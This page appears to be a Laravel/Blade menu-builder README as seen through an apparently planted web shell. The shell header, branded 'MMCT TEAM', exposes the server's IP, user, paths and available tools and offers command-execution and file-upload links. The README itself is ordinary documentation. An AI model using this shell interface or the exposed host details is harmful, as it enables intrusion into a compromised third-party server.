drtydrtydrtygfhfghgfhfghfghfghtydrtydrtydrtydrtydrtydfhfghfhrtydrtydrt
MMCT TEAM
Server IP : 162.241.148.128  /  Your IP : 216.73.216.95
Web Server : Apache
System : Linux md-ht-9.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : caribhll ( 2226)
PHP Version : 8.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0775) :  /home3/caribhll/public_html/fiskies.com/dev/Modules/Menu/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home3/caribhll/public_html/fiskies.com/dev/Modules/Menu/README.md
# Menu Builder Components

This module provides reusable menu components that follow the same design pattern as your mobile navigation in `layout.blade.php`.

## Components

### 1. Menu Component (`x-menu`)
Renders a complete menu structure with dropdown support.

**Usage:**
```blade
<x-menu menu="1" class="nav-links" />
```

**Parameters:**
- `menu`: Menu ID or Menu object
- `class`: CSS class for the main ul element (default: 'nav-links')

### 2. Mobile Menu Component (`x-mobile-menu`)
Renders a mobile-specific menu that matches your mobile navigation design exactly.

**Usage:**
```blade
<x-mobile-menu menu="1" />
```

**Parameters:**
- `menu`: Menu ID or Menu object

### 3. Menu Item Component (`x-menu-item`)
Renders individual menu items with support for nested dropdowns.

**Usage:**
```blade
<x-menu-item :menuItem="$menuItem" :level="0" />
```

**Parameters:**
- `menuItem`: MenuItem object
- `level`: Nesting level (for styling)

## Helper Functions

### render_menu($menuId, $class = 'nav-links')
Renders a menu using the helper function.

**Usage:**
```blade
{!! render_menu(1, 'nav-links') !!}
```

### render_mobile_menu($menuId)
Renders a mobile menu using the helper function.

**Usage:**
```blade
{!! render_mobile_menu(1) !!}
```

## Features

### ✅ **Design Consistency**
- Follows the exact same HTML structure as your mobile navigation
- Uses the same CSS classes (`nav-links`, `d-menu`, `dropdown`)
- Maintains the same dropdown arrow design (`fa-solid fa-angle-down`)

### ✅ **Multi-level Support**
- Supports unlimited nested levels
- Proper dropdown structure for each level
- Maintains hierarchy in mobile view

### ✅ **Icon Support**
- Displays Font Awesome icons from menu items
- Icons appear before the menu text
- Supports all Font Awesome icon classes

### ✅ **Target Support**
- Supports `_blank`, `_self`, `_parent`, `_top` targets
- Properly applied to all menu links

### ✅ **CSS Class Support**
- Applies custom CSS classes to menu items
- Maintains styling consistency

### ✅ **Translation Support**
- Uses translated titles from menu translations
- Falls back to default title if translation not found

### ✅ **Active State**
- Automatically detects active menu items
- Adds `active` class to current page menu items

## Implementation Examples

### 1. Replace Static Mobile Navigation
Replace your current mobile navigation in `layout.blade.php`:

```blade
<!-- Before -->
<ul class="nav-links">
    <li class="dropdown">
        <a href="javascript:;">{{ __('translate.Home') }}
            <span><i class="fa-solid fa-angle-down"></i></span>
        </a>
        <ul class="d-menu">
            <!-- Static menu items -->
        </ul>
    </li>
</ul>

<!-- After -->
<x-mobile-menu menu="1" />
```

### 2. Add to Any Layout
```blade
<!-- Desktop Menu -->
<x-menu menu="1" class="nav-links" />

<!-- Mobile Menu -->
<x-mobile-menu menu="1" />
```

### 3. Custom Styling
```blade
<!-- Custom CSS class -->
<x-menu menu="1" class="custom-nav-links" />

<!-- Using helper function -->
{!! render_menu(1, 'custom-nav-links') !!}
```

## Menu Structure

The components generate HTML that matches your mobile navigation:

```html
<ul class="nav-links">
    <li class="dropdown">
        <a href="/about-us" target="_self" class="menu-item">
            <i class="fas fa-info-circle"></i>
            About Us
            <span><i class="fa-solid fa-angle-down"></i></span>
        </a>
        <ul class="d-menu">
            <li>
                <a href="/about-us/team" target="_self" class="submenu-item">
                    <i class="fas fa-users"></i>
                    Our Team
                </a>
            </li>
        </ul>
    </li>
</ul>
```

## CSS Classes Used

- `nav-links`: Main menu container
- `dropdown`: Menu items with children
- `d-menu`: Dropdown submenu
- `active`: Currently active menu item
- Custom classes from menu items are applied to `<a>` tags

## Demo

Visit `/menu-demo` to see the components in action.

## Requirements

- Font Awesome for icons
- Bootstrap CSS framework
- Menu items must have proper translations set up 

MMCT - 2023